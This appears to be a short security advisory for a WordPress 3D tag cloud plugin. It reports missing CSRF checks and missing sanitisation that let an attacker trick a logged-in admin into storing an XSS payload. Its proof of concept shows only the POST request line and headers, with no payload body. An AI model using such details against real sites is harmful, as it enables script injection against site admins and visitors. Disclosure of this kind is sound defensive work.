The plugin does not have Cross-Site Request Forgery (CSRF) check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored Cross-Site Scripting (XSS) payloads via a Cross-Site Request Forgery (CSRF) attack.

Proof of Concept

POST /wp-admin/options-general.php?page=wp_3d_tag_cloud_slug HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded